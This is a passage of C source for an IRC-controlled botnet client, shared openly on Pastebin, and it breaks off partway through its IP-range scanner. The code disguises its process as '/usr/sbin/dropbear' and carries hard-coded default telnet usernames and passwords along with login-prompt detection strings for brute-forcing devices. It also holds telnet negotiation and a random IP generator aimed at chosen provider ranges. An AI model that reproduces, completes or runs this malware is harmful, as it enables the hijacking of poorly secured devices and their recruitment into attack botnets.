Advertisement
Guest User

Untitled

a guest
Apr 19th, 2017
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 51.53 KB | None | 0 0
  1. /*
  2. This Bot is a irc bot, a cancer one too, but thats okay.
  3.  
  4. nothing special, its just a simple irc bot modified
  5.  
  6. btw, don't come to me saying "the ip gen is garbage", well no shit it's garbage it's using
  7.  
  8. fucking ranges
  9. */
  10. #undef IDENT
  11. #define FAKENAME "/usr/sbin/dropbear"
  12. #define CHAN "#L33T"
  13. #define KEY ""
  14. #define PORT "6667"
  15. #define PASS ""
  16. #define PREFIX "[Hack]"
  17. #define PR_SET_NAME 15
  18. #define PAD_RIGHT 1
  19. #define PAD_ZERO 2
  20. #define PRINT_BUF_LEN 12
  21. #define CMD_IAC 255
  22. #define CMD_WILL 251
  23. #define CMD_WONT 252
  24. #define CMD_DO 253
  25. #define CMD_DONT 254
  26. #define OPT_SGA 3
  27.  
  28. #include <stdarg.h>
  29. #include <errno.h>
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <string.h>
  33. #include <sys/types.h>
  34. #include <sys/stat.h>
  35. #include <fcntl.h>
  36. #include <strings.h>
  37. #include <netinet/in.h>
  38. #include <unistd.h>
  39. #include <sys/time.h>
  40. #include <sys/socket.h>
  41. #include <signal.h>
  42. #include <arpa/inet.h>
  43. #include <netdb.h>
  44. #include <time.h>
  45. #include <sys/wait.h>
  46. #include <sys/ioctl.h>
  47. #include <net/if.h>
  48. #include <netinet/tcp.h>
  49. #include <netinet/udp.h>
  50. #include <netinet/ip.h>
  51. #include <sys/utsname.h>
  52. int numservers=1;
  53. char *servers[] = {
  54. "0.0.0.0",
  55. (void*)0
  56. };
  57.  
  58. char *payload = "\r\n";
  59. char *usernames[] = { "root\0", "telnet\0", "admin\0", "root\0", "default\0", "support\0", "root\0", "root\0", "supervisor\0", "admin\0"};
  60. char *passwords[] = { "1234567890\0", "telnet\0", "vnpt\0", "antslq\0", "\0", "support\0", "\0", "root\0", "zyad1234\0", "admin\0"};
  61. char *successes[] = {"BusyBox", "$", "#", ">", (char*)0};
  62. char *advances[] = {":", "ogin", "sername", "assword", (char*)0};
  63. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  64. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "$", "#", "BusyBox", ">", (char*)0};
  65. static uint32_t Q[4096], c = 362436;
  66. int sock,changeservers=0;
  67. char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Cheats";
  68. unsigned int *pids;
  69. uint32_t scanPid;
  70. unsigned long spoofs=0, spoofsm=0, numpids=0;
  71.  
  72. const char *useragents[] = {
  73. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  74. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  75. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  76. "Opera/6.04 (Windows XP; U) [en]",
  77. "Opera/9.99 (X11; U; sk)",
  78. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  79. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  80. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  81. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  82. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  83. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  84. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  85. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  86. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  87. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)"
  88. };
  89. int strwildmatch(unsigned char* pattern, unsigned char* string) {
  90. switch((unsigned char)*pattern) {
  91. case '\0': return *string;
  92. case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  93. case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  94. case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  95. case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  96. case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  97. case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  98. case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  99. default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  100. }
  101. }
  102.  
  103. void trim(char *str)
  104. {
  105. int i;
  106. int begin = 0;
  107. int end = strlen(str) - 1;
  108.  
  109. while (isspace(str[begin])) begin++;
  110.  
  111. while ((end >= begin) && isspace(str[end])) end--;
  112. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  113.  
  114. str[i - begin] = '\0';
  115. }
  116.  
  117. static void printchar(unsigned char **str, int c)
  118. {
  119. if (str) {
  120. **str = c;
  121. ++(*str);
  122. }
  123. else (void)write(1, &c, 1);
  124. }
  125.  
  126. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  127. {
  128. register int pc = 0, padchar = ' ';
  129.  
  130. if (width > 0) {
  131. register int len = 0;
  132. register const unsigned char *ptr;
  133. for (ptr = string; *ptr; ++ptr) ++len;
  134. if (len >= width) width = 0;
  135. else width -= len;
  136. if (pad & PAD_ZERO) padchar = '0';
  137. }
  138. if (!(pad & PAD_RIGHT)) {
  139. for ( ; width > 0; --width) {
  140. printchar (out, padchar);
  141. ++pc;
  142. }
  143. }
  144. for ( ; *string ; ++string) {
  145. printchar (out, *string);
  146. ++pc;
  147. }
  148. for ( ; width > 0; --width) {
  149. printchar (out, padchar);
  150. ++pc;
  151. }
  152.  
  153. return pc;
  154. }
  155.  
  156. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  157. {
  158. unsigned char print_buf[PRINT_BUF_LEN];
  159. register unsigned char *s;
  160. register int t, neg = 0, pc = 0;
  161. register unsigned int u = i;
  162.  
  163. if (i == 0) {
  164. print_buf[0] = '0';
  165. print_buf[1] = '\0';
  166. return prints (out, print_buf, width, pad);
  167. }
  168.  
  169. if (sg && b == 10 && i < 0) {
  170. neg = 1;
  171. u = -i;
  172. }
  173.  
  174. s = print_buf + PRINT_BUF_LEN-1;
  175. *s = '\0';
  176.  
  177. while (u) {
  178. t = u % b;
  179. if( t >= 10 )
  180. t += letbase - '0' - 10;
  181. *--s = t + '0';
  182. u /= b;
  183. }
  184.  
  185. if (neg) {
  186. if( width && (pad & PAD_ZERO) ) {
  187. printchar (out, '-');
  188. ++pc;
  189. --width;
  190. }
  191. else {
  192. *--s = '-';
  193. }
  194. }
  195.  
  196. return pc + prints (out, s, width, pad);
  197. }
  198.  
  199. static int print(unsigned char **out, const unsigned char *format, va_list args )
  200. {
  201. register int width, pad;
  202. register int pc = 0;
  203. unsigned char scr[2];
  204.  
  205. for (; *format != 0; ++format) {
  206. if (*format == '%') {
  207. ++format;
  208. width = pad = 0;
  209. if (*format == '\0') break;
  210. if (*format == '%') goto out;
  211. if (*format == '-') {
  212. ++format;
  213. pad = PAD_RIGHT;
  214. }
  215. while (*format == '0') {
  216. ++format;
  217. pad |= PAD_ZERO;
  218. }
  219. for ( ; *format >= '0' && *format <= '9'; ++format) {
  220. width *= 10;
  221. width += *format - '0';
  222. }
  223. if( *format == 's' ) {
  224. register char *s = (char *)va_arg( args, int );
  225. pc += prints (out, s?s:"(null)", width, pad);
  226. continue;
  227. }
  228. if( *format == 'd' ) {
  229. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  230. continue;
  231. }
  232. if( *format == 'x' ) {
  233. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  234. continue;
  235. }
  236. if( *format == 'X' ) {
  237. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  238. continue;
  239. }
  240. if( *format == 'u' ) {
  241. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  242. continue;
  243. }
  244. if( *format == 'c' ) {
  245. scr[0] = (unsigned char)va_arg( args, int );
  246. scr[1] = '\0';
  247. pc += prints (out, scr, width, pad);
  248. continue;
  249. }
  250. }
  251. else {
  252. out:
  253. printchar (out, *format);
  254. ++pc;
  255. }
  256. }
  257. if (out) **out = '\0';
  258. va_end( args );
  259. return pc;
  260. }
  261. int szprintf(unsigned char *out, const unsigned char *format, ...)
  262. {
  263. va_list args;
  264. va_start( args, format );
  265. return print( &out, format, args );
  266. }
  267. int negotiate(int sock, unsigned char *buf, int len)
  268. {
  269. unsigned char c;
  270.  
  271. switch (buf[1]) {
  272. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  273. case CMD_WILL:
  274. case CMD_WONT:
  275. case CMD_DO:
  276. case CMD_DONT:
  277. c = CMD_IAC;
  278. send(sock, &c, 1, MSG_NOSIGNAL);
  279. if (CMD_WONT == buf[1]) c = CMD_DONT;
  280. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  281. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  282. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  283. send(sock, &c, 1, MSG_NOSIGNAL);
  284. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  285. break;
  286.  
  287. default:
  288. break;
  289. }
  290.  
  291. return 0;
  292. }
  293. int hostname_to_ip(char * hostname , char* ip)
  294. {
  295. struct hostent *he;
  296. struct in_addr **addr_list;
  297. int i;
  298.  
  299. if ( (he = gethostbyname( hostname ) ) == NULL)
  300. {
  301. // get the host info
  302. herror("gethostbyname");
  303. return 1;
  304. }
  305.  
  306. addr_list = (struct in_addr **) he->h_addr_list;
  307.  
  308. for(i = 0; addr_list[i] != NULL; i++)
  309. {
  310. //Return the first one;
  311. strcpy(ip , inet_ntoa(*addr_list[i]) );
  312. return 0;
  313. }
  314.  
  315. return 1;
  316. }
  317.  
  318. int socket_connect(char *host, in_port_t port) {
  319. struct hostent *hp;
  320. struct sockaddr_in addr;
  321. int on = 1, sock;
  322. if ((hp = gethostbyname(host)) == NULL) return 0;
  323. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  324. addr.sin_port = htons(port);
  325. addr.sin_family = AF_INET;
  326. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  327. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  328. if (sock == -1) return 0;
  329. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  330. return sock;
  331. }
  332. int sclose(int fd)
  333. {
  334. if(3 > fd) return 1;
  335. close(fd);
  336. return 0;
  337. }
  338. int Send(int sock, char *words, ...) {
  339. static char textBuffer[1024];
  340. va_list args;
  341. va_start(args, words);
  342. vsprintf(textBuffer, words, args);
  343. va_end(args);
  344. return write(sock,textBuffer,strlen(textBuffer));
  345. }
  346. unsigned int host2ip(char *sender,char *hostname) {
  347. static struct in_addr i;
  348. struct hostent *h;
  349. if((i.s_addr = inet_addr(hostname)) == -1) {
  350. if((h = gethostbyname(hostname)) == NULL) {
  351. Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  352. exit(0);
  353. }
  354. bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  355. }
  356. return i.s_addr;
  357. }
  358. int mfork(char *sender) {
  359. unsigned int parent, *newpids, i;
  360. if (disabled == 1) {
  361. Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  362. return 1;
  363. }
  364. parent=fork();
  365. if (parent <= 0) return parent;
  366. numpids++;
  367. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  368. for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  369. newpids[numpids-1]=parent;
  370. free(pids);
  371. pids=newpids;
  372. return parent;
  373. }
  374. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  375. char *makestring() {
  376. char *tmp;
  377. int len=(rand()%5)+4,i;
  378. FILE *file;
  379. tmp=(char*)malloc(len+1);
  380. memset(tmp,0,len+1);
  381. char *pre;
  382. if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  383. else {
  384. int a=((rand()*rand())%45402)+1;
  385. char buf[1024];
  386. for (i=0;i<a;i++) fgets(buf,1024,file);
  387. memset(buf,0,1024);
  388. fgets(buf,1024,file);
  389. filter(buf);
  390. memcpy(tmp,buf,len);
  391. fclose(file);
  392. }
  393. return tmp;
  394. }
  395. void identd() {
  396. int sockname,sockfd,sin_size,tmpsock,i;
  397. struct sockaddr_in my_addr,their_addr;
  398. char szBuffer[1024];
  399. if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  400. my_addr.sin_family = AF_INET;
  401. my_addr.sin_port = htons(6667);
  402. my_addr.sin_addr.s_addr = INADDR_ANY;
  403. memset(&(my_addr.sin_zero), 0, 8);
  404. if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  405. if (listen(sockfd, 1) == -1) return;
  406. if (fork() == 0) return;
  407. sin_size = sizeof(struct sockaddr_in);
  408. if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  409. for(;;) {
  410. fd_set bla;
  411. struct timeval timee;
  412. FD_ZERO(&bla);
  413. FD_SET(tmpsock,&bla);
  414. timee.tv_sec=timee.tv_usec=60;
  415. if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  416. if (FD_ISSET(tmpsock,&bla)) break;
  417. }
  418. i = recv(tmpsock,szBuffer,1024,0);
  419. if (i <= 0 || i >= 20) exit(0);
  420. szBuffer[i]=0;
  421. if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  422. if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  423. Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  424. close(tmpsock);
  425. close(sockfd);
  426. exit(0);
  427. }
  428. int matchPrompt(char *bufStr)
  429. {
  430. char *prompts = ":>%$#\0";
  431.  
  432. int bufLen = strlen(bufStr);
  433. int i, q = 0;
  434. for(i = 0; i < strlen(prompts); i++)
  435. {
  436. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  437. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  438. }
  439.  
  440. return 0;
  441. }
  442. uint32_t rand_cmwc(void)
  443. {
  444. uint64_t t, a = 18782LL;
  445. static uint32_t i = 4095;
  446. uint32_t x, r = 0xfffffffe;
  447. i = (i + 1) & 4095;
  448. t = a * Q[i] + c;
  449. c = (uint32_t)(t >> 32);
  450. x = t + c;
  451. if (x < c) {
  452. x++;
  453. c++;
  454. }
  455. return (Q[i] = r - x);
  456. }
  457.  
  458. static uint8_t ipState[5] = {0};
  459. in_addr_t HackerScan2()
  460. {
  461. ipState[1] = 0;
  462. ipState[2] = 0;
  463. ipState[3] = 0;
  464. ipState[4] = 0;
  465. ipState[1] = rand() % 255;
  466. ipState[2] = rand() % 255;
  467. ipState[3] = rand() % 255;
  468. ipState[4] = rand() % 255;
  469. int randnum = rand() % 215;
  470. char ip[16];
  471. if(randnum == 0)
  472. {
  473. szprintf(ip, "96.30.%d.%d", ipState[3], ipState[4]);
  474. }
  475. if(randnum == 1)
  476. {
  477. szprintf(ip, "210.213.%d.%d", ipState[3], ipState[4]);
  478. }
  479. if(randnum == 2)
  480. {
  481. szprintf(ip, "122.2.%d.%d", ipState[3], ipState[4]);
  482. }
  483. if(randnum == 3)
  484. {
  485. szprintf(ip, "122.3.%d.%d", ipState[3], ipState[4]);
  486. }
  487. if(randnum == 4)
  488. {
  489. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  490. }
  491. if(randnum == 5)
  492. {
  493. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  494. }
  495. if(randnum == 6)
  496. {
  497. szprintf(ip, "119.94.%d.%d", ipState[3], ipState[4]);
  498. }
  499. if(randnum == 7)
  500. {
  501. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  502. }
  503. if(randnum == 8)
  504. {
  505. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  506. }
  507. if(randnum == 9)
  508. {
  509. szprintf(ip, "119.93.%d.%d", ipState[3], ipState[4]);
  510. }
  511. if(randnum == 10)
  512. {
  513. szprintf(ip, "119.92.%d.%d", ipState[3], ipState[4]);
  514. }
  515. if(randnum == 11)
  516. {
  517. szprintf(ip, "124.83.%d.%d", ipState[3], ipState[4]);
  518. }
  519. if(randnum == 12)
  520. {
  521. szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
  522. }
  523. if(randnum == 13)
  524. {
  525. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  526. }
  527. if(randnum == 14)
  528. {
  529. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  530. }
  531. if(randnum == 15)
  532. {
  533. szprintf(ip, "122.54.%d.%d", ipState[3], ipState[4]);
  534. }
  535. if(randnum == 16)
  536. {
  537. szprintf(ip, "122.53.%d.%d", ipState[3], ipState[4]);
  538. }
  539. if(randnum == 17)
  540. {
  541. szprintf(ip, "122.52.%d.%d", ipState[3], ipState[4]);
  542. }
  543. if(randnum == 18)
  544. {
  545. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  546. }
  547. if(randnum == 19)
  548. {
  549. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  550. }
  551. if(randnum == 20)
  552. {
  553. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  554. }
  555. if(randnum == 21)
  556. {
  557. szprintf(ip, "43.253.%d.%d", ipState[3], ipState[4]);
  558. }
  559. if(randnum == 22)
  560. {
  561. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  562. }
  563. if(randnum == 23)
  564. {
  565. szprintf(ip, "124.107.%d.%d", ipState[3], ipState[4]);
  566. }
  567. if(randnum == 24)
  568. {
  569. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  570. }
  571. if(randnum == 25)
  572. {
  573. szprintf(ip, "124.106.%d.%d", ipState[3], ipState[4]);
  574. }
  575. if(randnum == 26)
  576. {
  577. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  578. }
  579. if(randnum == 27)
  580. {
  581. szprintf(ip, "124.105.%d.%d", ipState[3], ipState[4]);
  582. }
  583. if(randnum == 28)
  584. {
  585. szprintf(ip, "123.25.%d.%d", ipState[3], ipState[4]);
  586. }
  587. if(randnum == 29)
  588. {
  589. szprintf(ip, "103.54.%d.%d", ipState[3], ipState[4]);
  590. }
  591. if(randnum == 30)
  592. {
  593. szprintf(ip, "27.255.%d.%d", ipState[3], ipState[4]);
  594. }
  595. if(randnum == 31)
  596. {
  597. szprintf(ip, "103.204.%d.%d", ipState[3], ipState[4]);
  598. }
  599. if(randnum == 32)
  600. {
  601. szprintf(ip, "123.24.%d.%d", ipState[3], ipState[4]);
  602. }
  603. if(randnum == 33)
  604. {
  605. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  606. }
  607. if(randnum == 35)
  608. {
  609. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  610. }
  611. if(randnum == 36)
  612. {
  613. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  614. }
  615. if(randnum == 37)
  616. {
  617. szprintf(ip, "124.104.%d.%d", ipState[3], ipState[4]);
  618. }
  619. if(randnum == 38)
  620. {
  621. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  622. }
  623. if(randnum == 39)
  624. {
  625. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  626. }
  627. if(randnum == 40)
  628. {
  629. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  630. }
  631. if(randnum == 41)
  632. {
  633. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  634. }
  635. if(randnum == 42)
  636. {
  637. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  638. }
  639. if(randnum == 43)
  640. {
  641. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  642. }
  643. if(randnum == 44)
  644. {
  645. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  646. }
  647. if(randnum == 45)
  648. {
  649. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  650. }
  651. if(randnum == 46)
  652. {
  653. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  654. }
  655. if(randnum == 47)
  656. {
  657. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  658. }
  659. if(randnum == 48)
  660. {
  661. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  662. }
  663. if(randnum == 49)
  664. {
  665. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  666. }
  667. if(randnum == 50)
  668. {
  669. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  670. }
  671. if(randnum == 51)
  672. {
  673. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  674. }
  675. if(randnum == 52)
  676. {
  677. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  678. }
  679. if(randnum == 53)
  680. {
  681. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  682. }
  683. if(randnum == 54)
  684. {
  685. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  686. }
  687. if(randnum == 55)
  688. {
  689. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  690. }
  691. if(randnum == 56)
  692. {
  693. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  694. }
  695. if(randnum == 57)
  696. {
  697. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  698. }
  699. if(randnum == 58)
  700. {
  701. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  702. }
  703. if(randnum == 59)
  704. {
  705. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  706. }
  707. if(randnum == 60)
  708. {
  709. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  710. }
  711. if(randnum == 61)
  712. {
  713. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  714. }
  715. if(randnum == 62)
  716. {
  717. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  718. }
  719. if(randnum == 63)
  720. {
  721. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  722. }
  723. if(randnum == 64)
  724. {
  725. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  726. }
  727. if(randnum == 65)
  728. {
  729. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  730. }
  731. if(randnum == 66)
  732. {
  733. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  734. }
  735. if(randnum == 67)
  736. {
  737. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  738. }
  739. if(randnum == 68)
  740. {
  741. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  742. }
  743. if(randnum == 69)
  744. {
  745. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  746. }
  747. if(randnum == 70)
  748. {
  749. szprintf(ip, "89.18.%d.%d", ipState[3], ipState[4]);
  750. }
  751. if(randnum == 71)
  752. {
  753. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  754. }
  755. if(randnum == 72)
  756. {
  757. szprintf(ip, "122.252.%d.%d", ipState[3], ipState[4]);
  758. }
  759. if(randnum == 73)
  760. {
  761. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  762. }
  763. if(randnum == 74)
  764. {
  765. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  766. }
  767. if(randnum == 75)
  768. {
  769. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  770. }
  771. if(randnum == 76)
  772. {
  773. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  774. }
  775. if(randnum == 77)
  776. {
  777. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  778. }
  779. if(randnum == 78)
  780. {
  781. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  782. }
  783. if(randnum == 79)
  784. {
  785. szprintf(ip, "49.144.%d.%d", ipState[3], ipState[4]);
  786. }
  787. if(randnum == 80)
  788. {
  789. szprintf(ip, "49.145.%d.%d", ipState[3], ipState[4]);
  790. }
  791. if(randnum == 81)
  792. {
  793. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  794. }
  795. if(randnum == 82)
  796. {
  797. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  798. }
  799. if(randnum == 83)
  800. {
  801. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  802. }
  803. if(randnum == 84)
  804. {
  805. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  806. }
  807. if(randnum == 85)
  808. {
  809. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  810. }
  811. if(randnum == 86)
  812. {
  813. szprintf(ip, "49.146.%d.%d", ipState[3], ipState[4]);
  814. }
  815. if(randnum == 87)
  816. {
  817. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  818. }
  819. if(randnum == 88)
  820. {
  821. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  822. }
  823. if(randnum == 89)
  824. {
  825. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  826. }
  827. if(randnum == 90)
  828. {
  829. szprintf(ip, "185.106.%d.%d", ipState[3], ipState[4]);
  830. }
  831. if(randnum == 91)
  832. {
  833. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  834. }
  835. if(randnum == 92)
  836. {
  837. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  838. }
  839. if(randnum == 93)
  840. {
  841. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  842. }
  843. if(randnum == 94)
  844. {
  845. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  846. }
  847. if(randnum == 95)
  848. {
  849. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  850. }
  851. if(randnum == 96)
  852. {
  853. szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
  854. }
  855. if(randnum == 97)
  856. {
  857. szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
  858. }
  859. if(randnum == 98)
  860. {
  861. szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
  862. }
  863. if(randnum == 99)
  864. {
  865. szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
  866. }
  867. if(randnum == 100)
  868. {
  869. szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
  870. }
  871. if(randnum == 101)
  872. {
  873. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  874. }
  875. if(randnum == 102)
  876. {
  877. szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
  878. }
  879. if(randnum == 103)
  880. {
  881. szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
  882. }
  883. if(randnum == 104)
  884. {
  885. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  886. }
  887. if(randnum == 105)
  888. {
  889. szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
  890. }
  891. if(randnum == 106)
  892. {
  893. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  894. }
  895. if(randnum == 107)
  896. {
  897. szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
  898. }
  899. if(randnum == 108)
  900. {
  901. szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
  902. }
  903. if(randnum == 109)
  904. {
  905. szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
  906. }
  907. if(randnum == 100)
  908. {
  909. szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
  910. }
  911. if(randnum == 101)
  912. {
  913. szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
  914. }
  915. if(randnum == 102)
  916. {
  917. szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
  918. }
  919. if(randnum == 103)
  920. {
  921. szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
  922. }
  923. if(randnum == 104)
  924. {
  925. szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
  926. }
  927. if(randnum == 105)
  928. {
  929. szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
  930. }
  931. if(randnum == 106)
  932. {
